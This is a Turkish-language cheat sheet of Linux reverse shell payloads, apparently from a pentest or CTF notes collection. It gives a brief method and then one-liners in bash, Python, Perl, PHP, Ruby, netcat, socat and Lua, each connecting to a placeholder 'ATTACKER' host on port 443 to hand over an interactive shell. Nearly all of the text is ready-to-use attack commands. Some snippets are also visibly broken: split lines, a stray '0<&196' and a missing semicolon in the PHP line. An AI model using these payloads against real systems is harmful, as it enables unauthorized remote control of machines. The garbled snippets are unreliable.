Reverse Shells - Linux

generic difficulty: kolay

Linux’ta reverse shell seçimi hedefte hangi binary’lerin olduğuna bağlıdır. /dev/tcp bash’e özgüdür; python3 çoğu modern distroda vardır.

Metodoloji

1. which bash python3 perl php nc socat ile mevcut araçları gör.

2. En az bağımlılıklı payload’u dene; başarısızsa sıradaki interpreter.

3. Bağlantı gelince TTY yükselt — su, ssh, editörler için gerekli.

Bash

bash -i >& /dev/tcp/ATTACKER/443 0>&1

bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'

0<&196

exec 196<>/dev/tcp/ATTACKER/443

sh <&196 >&196 2>&196

Python

python3 -c 'import socket,subprocess,os

s=socket.socket()

s.connect(("ATTACKER",443))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

subprocess.call(["/bin/sh","-i"])'

Perl / PHP / Ruby

perl -e 'use Socket;$i="ATTACKER";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php -r '$s=fsockopen("ATTACKER",443)

exec("/bin/sh -i <&3 >&3 2>&3")

'

ruby -rsocket -e'f=TCPSocket.open("ATTACKER",443).to_i

exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat / Socat

nc -e /bin/sh ATTACKER 443

rm /tmp/f

mkfifo /tmp/f

cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 443 >/tmp/f

socat TCP:ATTACKER:443 EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

Lua / awk (niş)

lua -e 'local s=require("socket");local t=assert(s.tcp());t:connect("ATTACKER",443);while true do local r,x=t:receive();local f=assert(io.popen(r,"r"));local b=assert(f:read("*a"));t:send(b);end'